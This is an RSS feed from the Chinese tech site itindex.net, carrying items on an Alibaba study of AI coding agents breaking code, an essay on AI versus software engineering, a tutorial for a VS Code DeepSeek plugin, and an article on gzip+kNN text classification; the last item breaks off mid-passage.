<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="/rss.xsl" type="text/xsl"?>
<rss version="2.0">
  <channel>
    <title>IT瘾代码推荐</title>
    <link>https://itindex.net/categories/代码</link>
    <description>IT社区推荐资讯 - ITIndex.net</description>
    <language>zh</language>
    <copyright>https://itindex.net/</copyright>
    <generator>https://itindex.net/</generator>
    <docs>http://backend.userland.com/rss</docs>
    <image>
      <url>https://itindex.net/images/logo.gif</url>
      <title>IT社区推荐资讯 - ITIndex.net</title>
      <link>https://itindex.net/categories/代码</link>
    </image>
    <item>
      <title>阿里巴巴论文：75%的模型会破坏掉之前本来跑得好好的代码</title>
      <link>https://itindex.net/detail/63183-%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B4-%E8%AE%BA%E6%96%87-%E6%A8%A1%E5%9E%8B</link>
      <description>阿里巴巴做了一个挺硬核的实验：花了233天，在100个真实的代码库上，用18个AI编程代理做了一轮长期跟踪测试。 &lt;br /&gt; &lt;br /&gt;结果挺扎心的。 &lt;br /&gt; &lt;br /&gt;75%的模型会破坏掉之前本来跑得好好的代码。也就是说，你让AI帮你改代码，改完之后，原来没问题的地方反而出了问题。这个比例高得有点吓人。 &lt;br /&gt; &lt;br /&gt;更要命的是，所有参与测试的模型，无一例外，都显著增加了技术债。什么意思呢？就是代码表面上看着能跑，但底下埋了一堆隐患，结构变差了，可维护性降低了，后面要花更多的时间和精力去收拾烂摊子。 &lt;br /&gt; &lt;br /&gt;这个测试的价值在于它够真实，够长期。不是拿几个demo跑一下就出结论，而是在真实项目里持续观察了大半年。100个代码库、18个代理，样本量也足够说明问题。 &lt;br /&gt; &lt;br /&gt;说白了，现阶段的AI写代码，短期看效率确实高，但长期看，它可能在悄悄给你挖坑。你今天省下的时间，未来可能要加倍还回去。 &lt;br /&gt; &lt;br /&gt;这也给所有用AI辅助编程的团队提了个醒：AI生成的代码一定要有人审，不能闭着眼睛就合进主分支。效率和质量之间的平衡，目前还远没有被解决。
     
     &lt;div&gt;  &lt;br /&gt;&lt;/div&gt; &lt;div&gt;  &lt;br /&gt;&lt;/div&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/63183-%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B4-%E8%AE%BA%E6%96%87-%E6%A8%A1%E5%9E%8B</guid>
      <pubDate>Wed, 18 Mar 2026 10:27:26 CST</pubDate>
    </item>
    <item>
      <title>AI 能帮你写代码，但还是得靠人把代码变成软件</title>
      <link>https://itindex.net/detail/63072-ai-%E4%BB%A3%E7%A0%81-%E4%BB%A3%E7%A0%81</link>
      <description>&lt;div&gt;    &lt;h1&gt;最近发现了一个很有意思的现象，越来越多人拿着 AI 写出来的代码找我，问我能不能帮他们把这些东西变成真正能用的产品。   &lt;br /&gt;   &lt;br /&gt;这些人通常不是技术背景，可能是律师、销售或者其他领域的专业人士。他们有好点子，也用上了最新的 AI 工具，甚至真的把一个看起来能跑的 demo 做出来了。   &lt;br /&gt;   &lt;br /&gt;但到了某个节点，他们就卡住了，然后开始满世界找技术合伙人或者 CTO。   &lt;br /&gt;   &lt;br /&gt;这让我想到一个问题：如果 AI 真的能完全取代软件工程师，为什么这些人还需要我们？   &lt;br /&gt;   &lt;br /&gt;我也一直用 AI 辅助写代码，也看了很多别人的演示。慢慢地我意识到一件事：AI 确实会写代码，但它造不出软件。 这两者之间有条很深的鸿沟。   &lt;br /&gt;   &lt;br /&gt;写代码其实不难，解决一个个独立的、定义清晰的小问题，现在的 AI 已经做得很好了。但软件工程难的从来不是这个。   &lt;br /&gt;   &lt;br /&gt;真正的挑战是当你要把 demo 变成产品的时候，你得同时处理几百个这样的小问题，还要让整个系统保持可维护、可扩展。   &lt;br /&gt;   &lt;br /&gt;这就是那些人找上门来的根本原因。他们能用 AI 快速搭出一个功能演示，但要让它变成真正能上线运行的产品，就完全是另一回事了。   &lt;br /&gt;   &lt;br /&gt;我看过他们发来的代码，说实话，所谓的&amp;quot;让它变得可以上线&amp;quot;，基本上就是推倒重来的意思。   &lt;br /&gt;   &lt;br /&gt;不是代码写得不对，而是整个结构、集成方式、长期维护的考量，这些东西根本就不在那些代码里。   &lt;br /&gt;   &lt;br /&gt;软件工程师的核心工作其实是管理复杂度。   &lt;br /&gt;   &lt;br /&gt;一个真正的生产系统做的事情，单独拆开看都不复杂，但要同时做好几百件简单的事，还要让它们协同工作，这才是真正考验人的地方。   &lt;br /&gt;   &lt;br /&gt;我也不知道为什么 AI 现在还做不到这一点，可能这就是这个职业的本质吧。但至少现在，这条线还是很清晰的：   &lt;br /&gt;   &lt;br /&gt;AI 能帮你写代码，但把代码变成软件，还是得靠人。   &lt;br /&gt;   &lt;br /&gt;工具在进化，但有些能力的门槛，并没有因此降低。   &lt;br /&gt;&lt;/h1&gt;&lt;/div&gt;
    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/63072-ai-%E4%BB%A3%E7%A0%81-%E4%BB%A3%E7%A0%81</guid>
      <pubDate>Wed, 29 Oct 2025 10:29:26 CST</pubDate>
    </item>
    <item>
      <title>vscode+DeepSeek，轻松进行代码解释、找BUG、重构</title>
      <link>https://itindex.net/detail/62979-vscode-deepseek-%E4%BB%A3%E7%A0%81</link>
      <description>&lt;h2&gt;零、背景&lt;/h2&gt;

 &lt;p&gt;之前我搭建了本地的 DeepSeek，记录在《  &lt;a href="https://mp.weixin.qq.com/s/TYmYcyObrecJtVp_cvnibw"&gt;推荐这样使用 Deepseek-R1 本地知识库&lt;/a&gt;》文章里，里面有多种搭建方案。&lt;/p&gt;

 &lt;p&gt;后来，我常去的攀岩馆的网站打不开了，我通过腾讯云自带的 DeepSeek 大模型助手轻松解决，记录在《  &lt;a href="https://mp.weixin.qq.com/s/bWqkQpTfpysNoWuREaCzbg"&gt;云平台接入大模型，效率飞起&lt;/a&gt;》。&lt;/p&gt;

 &lt;p&gt;从而得出了一个很重要的结论：元宝、豆包、kimi等这些产品没有未来的。  &lt;br /&gt;
因为以前处理问题，是去搜索引擎或者 ChatGPT 问答，现在是直接在相关应用里边问大模型，边处理问题，不需要频繁切换窗口，效率直接起飞了。&lt;/p&gt;

 &lt;p&gt;基于这个逻辑，我就想，我是否可以把 DeepSeek 和日常开发结合起来呢？&lt;/p&gt;

 &lt;p&gt;日常我都是使用 vscode 来开发的，即代码在 vscode 里写，命令行在 vscode 里敲。  &lt;br /&gt;
如果 vscode 的一侧有一个对话框，可以供我实时对话，那对可以提升不少开发效率可，&lt;/p&gt;

 &lt;h2&gt;一、安装插件&lt;/h2&gt;

 &lt;p&gt;vscode 插件市场有非常多 ChatGPT 与 DeepSeek 相关的插件。  &lt;br /&gt;
经过大量尝试，最终我选择了 DeepSeek R1 这个插件。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="https://res2025.tiankonguse.com/images/2025/02/27/001.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;安装命令如下，为了避免搜索到无关的插件，这里使用精确搜索。&lt;/p&gt;

 &lt;p&gt;第一步：快捷键打开命令面板。  &lt;br /&gt;
Windows/Linux 是 Ctrl + Shift + P  &lt;br /&gt;
Mac 是 Command + Shift + P&lt;/p&gt;

 &lt;p&gt;第二步：删除   &lt;code&gt;&amp;gt;&lt;/code&gt; 符号，输入   &lt;code&gt;ext install colourafredi.vscode-deepseek&lt;/code&gt; 回车。&lt;/p&gt;

 &lt;p&gt;第三步：安装搜索出来的插件&lt;/p&gt;

 &lt;h2&gt;二、配置插件&lt;/h2&gt;

 &lt;p&gt;还是安装界面，点击齿轮，打开配置选项。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="https://res2025.tiankonguse.com/images/2025/02/27/002.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;配置上地址、模型，key 留空就行。&lt;/p&gt;

 &lt;p&gt;地址配置为 DeepSeek 本地模型的服务API地址：http://localhost:11434  &lt;br /&gt;
模型按需选择，我的电脑配置选择 8b 最合适，所以配置为 deepseek-r1:8b&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="https://res2025.tiankonguse.com/images/2025/02/27/003.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;h2&gt;三、咨询技术问题&lt;/h2&gt;

 &lt;p&gt;平常执行一些命令，我都是在 vscode 里操作的。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="https://res2025.tiankonguse.com/images/2025/02/27/004.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;日常安装开源程序，我是在 vscode 里运行的。  &lt;br /&gt;
例如上篇文章《  &lt;a href="https://mp.weixin.qq.com/s/qIDtQnraKUhh0qtQY1Q-MQ"&gt;comfyui 本地无限制高清文生图&lt;/a&gt;》,操作如下：&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="https://res2025.tiankonguse.com/images/2025/02/27/014.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;这里涉及到通过 python 的 conda 来创建与切换虚拟环境。  &lt;br /&gt;
在左侧对话框里输入“conda 环境管理”，就可以看到推理过程与最终回答。  &lt;br /&gt;
由于这个插件还没支持推理过程的 think 标签，所以是直接当做普通文本显示出来的。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="https://res2025.tiankonguse.com/images/2025/02/27/006.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;回答非常完善，环境的创建、激活、环境列表、环境删除等。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="https://res2025.tiankonguse.com/images/2025/02/27/007.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;h2&gt;四、代码查错、解释、重构&lt;/h2&gt;

 &lt;p&gt;DeepSeek 还可以用来代码查错、代码解释、代码重构等。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="https://res2025.tiankonguse.com/images/2025/02/27/008.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;代码查错&lt;/p&gt;

 &lt;p&gt;比如我们选择 Leetcoode 第 867 题的代码，进行代码查错。  &lt;br /&gt;
prompts: 检查下面代码是否有BUG并给出修复建议  &lt;br /&gt;
DeepSeek 找到一个错误，代码没有处理输入矩阵为空的情况。如果输入矩阵为空，那么会导致未定义行为，甚至可能引发程序崩溃。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="https://res2025.tiankonguse.com/images/2025/02/27/009.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;不仅是指出错误，DeepSeek 还给出了修复后的代码，以及相关解释。  &lt;br /&gt;
最后，DeepSeek 还给出了测试用例，代码复制出来就可以直接运行。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="https://res2025.tiankonguse.com/images/2025/02/27/010.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;代码解释&lt;/p&gt;

 &lt;p&gt;prompts: 详细讲解下面代码  &lt;br /&gt;
回答会解释输入参数、初始化、双重循环、返回结果、注意事项。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="https://res2025.tiankonguse.com/images/2025/02/27/011.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;代码重构&lt;/p&gt;

 &lt;p&gt;prompts: 重构下面代码并告诉我你改动了哪里  &lt;br /&gt;
重构的时候，竟然发现了一个新的问题：矩阵内层循环没检查是否边界。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="https://res2025.tiankonguse.com/images/2025/02/27/012.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;函数测试&lt;/p&gt;

 &lt;p&gt;prompts: 为下面的代码添加测试  &lt;br /&gt;
生成的不是标准的单元测试，只是在 main 函数里增加了两个 case。  &lt;br /&gt;
原因是默认 prompts 只写的测试，我们可以自定义 prompts, 要求增加单元测试。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="https://res2025.tiankonguse.com/images/2025/02/27/013.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;h2&gt;五、最后&lt;/h2&gt;

 &lt;p&gt;目前 vscode 可以直接对话、代码review、代码解释、代码重构等。  &lt;br /&gt;
只是当前的 UI 做的还不够友好，文字非常密集。&lt;/p&gt;

 &lt;p&gt;后面有时间我去=下载下源码，优化下 UI。&lt;/p&gt;

 &lt;p&gt;《完》&lt;/p&gt;

 &lt;p&gt;-EOF-&lt;/p&gt;

 &lt;p&gt;本文公众号：天空的代码世界  &lt;br /&gt;
个人微信号： tiankonguse  &lt;br /&gt;
公众号ID： tiankonguse-code&lt;/p&gt;

&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>大模型</category>
      <guid isPermaLink="true">https://itindex.net/detail/62979-vscode-deepseek-%E4%BB%A3%E7%A0%81</guid>
      <pubDate>Thu, 27 Feb 2025 12:13:00 CST</pubDate>
    </item>
    <item>
      <title>Gzip+ kNN文本分类竟然击败Transformers：无需预训练、14行代码实现</title>
      <link>https://itindex.net/detail/62807-gzip-knn-%E6%96%87%E6%9C%AC</link>
      <description>&lt;section data-darkmode-bgcolor-16095509242984="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16095509242984="rgb(255, 255, 255)" data-mpa-powered-by="yiban.io" data-style='white-space: normal; max-width: 100%; letter-spacing: 0.544px; text-size-adjust: auto; background-color: rgb(255, 255, 255); font-family: "Helvetica Neue", Helvetica, "Hiragino Sans GB", "Microsoft YaHei", Arial, sans-serif; box-sizing: border-box !important; overflow-wrap: break-word !important;'&gt;&lt;section data-darkmode-bgcolor-16095509242984="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16095509242984="rgb(255, 255, 255)"&gt;&lt;section data-darkmode-bgcolor-16095509242984="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16095509242984="rgb(255, 255, 255)"&gt;&lt;section data-color="rgb(117, 117, 118)" data-custom="rgb(117, 117, 118)" data-darkmode-bgcolor-16095509242984="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16095509242984="rgb(255, 255, 255)" data-id="85660"&gt;&lt;section data-darkmode-bgcolor-16095509242984="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16095509242984="rgb(255, 255, 255)" data-style="margin-top: 2em; padding-top: 0.5em; padding-bottom: 0.5em; max-width: 100%; border-style: solid none; text-decoration: inherit; border-top-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-top-width: 1px; border-bottom-width: 1px; box-sizing: border-box !important; overflow-wrap: break-word !important;"&gt;&lt;p&gt;几天前，ACL 2023 大奖公布，引起了极大的关注。&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;但在众多收录的论文中，一篇名为《 &amp;ldquo;Low-Resource&amp;rdquo; Text Classification: A Parameter-Free Classification Method with Compressors 》的论文开始引起大家热议。这篇论文由滑铁卢大学、 AFAIK 机构联合完成，但既不是获奖论文更不是主会议论文。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="0.289044289044289" src="https://image.jiqizhixin.com/uploads/editor/833e8b05-f499-45aa-96b0-d1ffcff028e7/640.png" data-type="png" data-w="1287" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;ul&gt;&lt;li&gt;&lt;section&gt;论文地址：https://aclanthology.org/2023.findings-acl.426.pdf&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;代码地址：https://github.com/bazingagin/npc_gzip&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;UCSB 助理教授王威廉形容这篇论文比 95% 的 ACL 主要会议论文更有创造性，因而不明白为什么只是作为 Findings 论文被录取：&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="0.7389340560072267" src="https://image.jiqizhixin.com/uploads/editor/b2d20e76-15e2-4d88-b22b-219a9867d0cb/640.png" data-type="png" data-w="1107" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;也有网友称这是他今年见到最滑稽的结果：&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="0.8152866242038217" src="https://image.jiqizhixin.com/uploads/editor/d4b494ac-302f-483e-aeee-d075e3ef9fe3/640.png" data-type="png" data-w="1256" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;这篇论文到底有何创新，得到大家如此的好评。接下来我们看看具体内容。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;这篇文章主要是针对&lt;mark data-type=tech_tasks data-id=3fe4290f-6dd3-43ed-9324-cf23aa588830&gt;文本分类&lt;/mark&gt;任务的。文中表示&lt;mark data-type=tech_tasks data-id=3fe4290f-6dd3-43ed-9324-cf23aa588830&gt;文本分类&lt;/mark&gt;作为&lt;mark data-type=tech_tasks data-id=c8ff5114-6cbb-49ca-8a89-3ee2826be0b4&gt;自然语言处理&lt;/mark&gt;（NLP）中最基础的任务之一，在&lt;mark data-type=tech_methods data-id=72b0bcc0-d8f9-4edd-919f-fa7c2560388c&gt;神经网络&lt;/mark&gt;的帮助下取得了显著的改进。然而，大多数&lt;mark data-type=tech_methods data-id=72b0bcc0-d8f9-4edd-919f-fa7c2560388c&gt;神经网络&lt;/mark&gt;对数据的需求很高，这种需求随着模型&lt;mark data-type=concepts data-id=2e982b73-88e2-41e8-a430-f7ae5a9af4bf&gt;参数&lt;/mark&gt;数量的增加而增加。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;在众多模型中，深度&lt;mark data-type=tech_methods data-id=72b0bcc0-d8f9-4edd-919f-fa7c2560388c&gt;神经网络&lt;/mark&gt;（DNN）由于&lt;mark data-type=concepts data-id=8be77eae-12da-4e9e-9a88-b7f5bae98c2e&gt;准确率&lt;/mark&gt;高，因此常常被用来进行&lt;mark data-type=tech_tasks data-id=3fe4290f-6dd3-43ed-9324-cf23aa588830&gt;文本分类&lt;/mark&gt;。然而，DNN 是计算密集型的，在实践中使用和优化这些模型以及迁移到分布外泛化 (OOD) 的成本非常高。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;研究者开始寻求替代 DNN 的轻量级方法，使用压缩器进行&lt;mark data-type=tech_tasks data-id=3fe4290f-6dd3-43ed-9324-cf23aa588830&gt;文本分类&lt;/mark&gt;开始得到大家的关注。在这一领域，已经有研究者入局，但是，已有的方法在性能上还是无法与&lt;mark data-type=tech_methods data-id=72b0bcc0-d8f9-4edd-919f-fa7c2560388c&gt;神经网络&lt;/mark&gt;相媲美。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;针对这一缺陷，本文提出了一种&lt;mark data-type=tech_tasks data-id=3fe4290f-6dd3-43ed-9324-cf23aa588830&gt;文本分类&lt;/mark&gt;方法，他们将无损压缩器（如 gzip）与 k 最近邻分类器（kNN）相结合。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;文中表示，采用这种方法在没有任何训练&lt;mark data-type=concepts data-id=2e982b73-88e2-41e8-a430-f7ae5a9af4bf&gt;参数&lt;/mark&gt;的情况下，他们在七个分布内数据集和五个分布外数据集上的实验表明，使用像 gzip 这样的简单压缩器，他们在七个数据集中的结果有六个与 DNNs 结果相媲美，并在五个分布外数据集上胜过包括 BERT 在内的所有方法。即使在少样本情况下，本文方法也大幅超越了所有模型。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;网友也对这一结果感到惊讶，gzip+kNN 在&lt;mark data-type=tech_tasks data-id=3fe4290f-6dd3-43ed-9324-cf23aa588830&gt;文本分类&lt;/mark&gt;任务中竟然胜过了 BERT 和其他&lt;mark data-type=tech_methods data-id=72b0bcc0-d8f9-4edd-919f-fa7c2560388c&gt;神经网络&lt;/mark&gt;方法。更令人意外的是这个算法没有训练过程、没有调优、没有&lt;mark data-type=concepts data-id=2e982b73-88e2-41e8-a430-f7ae5a9af4bf&gt;参数&lt;/mark&gt; &amp;mdash;&amp;mdash; 有的只是 14 行代码，这就是整个算法内容。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="1.5031616982836495" src="https://image.jiqizhixin.com/uploads/editor/0aa9624f-923a-4f45-a7b1-d3e2d36bf728/640.png" data-type="png" data-w="1107" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;strong&gt;方法概览&lt;/strong&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;本文方法包含了一个无损压缩器、一个基于压缩器的距离度量以及一个 K 最近邻分类器。其中无损压缩器旨在通过将较短代码分配给概率更高的符号，来使用尽可能少的比特表示信息。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;使用压缩器进行分类源于以下两个直觉知识：1）压缩器善于捕捉规律，2）同一类别的对象比不同类别的对象具有更强的规律性。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;举例而言，下面的 x_1 与 x_2 属于同一类别，但与 x_3 属于不同类别。如果我们用 C (・) 来表示压缩长度，会发现 C (x_1x_2) &amp;minus; C (x_1) &amp;lt; C (x_1x_3) &amp;minus; C (x_1)，其中 C (x_1x_2) 表示 x_1 和 x_2 串联的压缩长度。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="0.39781491002570696" src="https://image.jiqizhixin.com/uploads/editor/9a9cb9bb-a165-4a15-8fa1-02d41b631a4d/640.png" data-type="png" data-w="1556" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;这一直觉知识可以形式化为从柯尔莫哥洛夫（Kolmogorov）复杂度中导出的距离度量。为了测量两个对象之间共享的信息内容，Bennett 等研究人员在 1998 年发表的论文《&lt;mark data-type=institutions data-id=6bc5e4f6-94eb-45d5-a1e8-b236decc51ca&gt;Infor&lt;/mark&gt;mation distance》中将信息距离 E (x, y) 定义为将 x 转化成 y 的最短二进制程序的长度。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="0.17474142623843222" src="https://image.jiqizhixin.com/uploads/editor/6ecebf81-2616-45a6-b2c7-b4f1206e1deb/640.png" data-type="png" data-w="1837" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;由于柯尔莫哥洛夫复杂度的不可计算性导致了 E (x,y) 不可计算，因而 Li et al. 在 2004 年的论文《The similarity metric》中提出信息距离的归一化和可计算版本，即归一化压缩距离（Normalized Compression Distance, NCD），它利用压缩长度 C (x) 来近似柯尔莫哥洛夫复杂度 K (x)。定义如下：&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="0.1786777843954735" src="https://image.jiqizhixin.com/uploads/editor/9136189a-3fd6-4ea6-9b16-f06c2928276d/640.png" data-type="png" data-w="1679" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;使用压缩长度的背后在于被压缩器最大化压缩的 x 的长度接近 K (x)。一般来说，压缩比越高，C (x) 就越接近 K (x)。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;研究者表示，由于主要实验结果使用 gzip 作为压缩器，所以这里的 C (x) 表示 x 经过 gzip 压缩后的长度。C (xy) 是连接 x 和 y 的压缩长度。有了 NCD 提供的距离矩阵，就可以使用 k 最近邻来进行分类。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;本文方法可以用如下 14 行 Python 代码实现。输入的是 training_set、test_set，两者均由（文本、标签）元组数组和 k 组成。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="1.0675260896255372" src="https://image.jiqizhixin.com/uploads/editor/a621ed83-36c6-4b92-921e-872e683d5656/640.png" data-type="png" data-w="1629" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;该方法是 DNN 的简单、轻量级和通用的替代方案。&lt;strong&gt;简单在于不需要任何预训练或训练；轻量级在于无需&lt;mark data-type=concepts data-id=2e982b73-88e2-41e8-a430-f7ae5a9af4bf&gt;参数&lt;/mark&gt;或 GPU 资源即可进行分类；通用在于压缩器与数据类型无关，并且非&lt;mark data-type=concepts data-id=2e982b73-88e2-41e8-a430-f7ae5a9af4bf&gt;参数&lt;/mark&gt;方法不会带来潜在的假设。&lt;/strong&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;strong&gt;实验结果&lt;/strong&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;在实验部分，研究者选择多种数据集来研究训练样本数量、类别数量、文本长度以及分布差异对准确性的影响。每个数据集的细节如下表 1 所示。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="0.8148148148148148" src="https://image.jiqizhixin.com/uploads/editor/01e571b3-d60d-4104-b2e7-0ffac864e516/640.png" data-type="png" data-w="1620" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;研究者将自己的方法与 1）需要训练的&lt;mark data-type=tech_methods data-id=72b0bcc0-d8f9-4edd-919f-fa7c2560388c&gt;神经网络&lt;/mark&gt;方法和 2）直接使用 kNN 分类器的非&lt;mark data-type=concepts data-id=2e982b73-88e2-41e8-a430-f7ae5a9af4bf&gt;参数&lt;/mark&gt;方法，这里有或没有对外部数据进行预训练。他们还对比了其他三种非&lt;mark data-type=concepts data-id=2e982b73-88e2-41e8-a430-f7ae5a9af4bf&gt;参数&lt;/mark&gt;方法，即 &lt;mark data-type=tech_methods data-id=c61ba3b9-40e2-4864-a941-9adc19e6792e&gt;word2vec&lt;/mark&gt;、预训练句子 BERT（SentBERT）和实例长度，它们全部使用 kNN 分类器。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="0.8357314148681055" src="https://image.jiqizhixin.com/uploads/editor/ede88cf3-5c4a-4d53-8815-4290fb55833f/640.png" data-type="png" data-w="1668" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;strong&gt;在分布内数据集上的结果&lt;/strong&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;研究者在下表 3 中七个数据集上训练所有基线方法，结果显示，gzip 在 AG News、R8 和 R52 上表现得非常好。其中在 AG News 数据集上，微调 BERT 在所有方法中取得了最佳性能，而 gzip 在没有任何预训练情况下取得了有竞争力的结果，仅比 BERT 低了 0.007。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;在 R8 和 R52 上，唯一优于 gzip 的非预训练&lt;mark data-type=tech_methods data-id=72b0bcc0-d8f9-4edd-919f-fa7c2560388c&gt;神经网络&lt;/mark&gt;是 HAN。在 YahooAnswers 数据集上，gzip 的&lt;mark data-type=concepts data-id=8be77eae-12da-4e9e-9a88-b7f5bae98c2e&gt;准确率&lt;/mark&gt;比一般神经方法低了约 7%。这可能是由于该数据集上的词汇量较大，导致压缩器难以压缩。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;因此可以看到，gzip 在极大的数据集（如 YahooAnswers）上表现不佳，但在中小型数据集上很有竞争力。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="0.45524691358024694" src="https://image.jiqizhixin.com/uploads/editor/9415dc8d-0698-4ccb-8ad2-7429614f822b/640.png" data-type="png" data-w="1944" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;研究者在下表 4 中列出了所有基线模型的测试&lt;mark data-type=concepts data-id=8be77eae-12da-4e9e-9a88-b7f5bae98c2e&gt;准确率&lt;/mark&gt;平均值（TextLength 除外，它的&lt;mark data-type=concepts 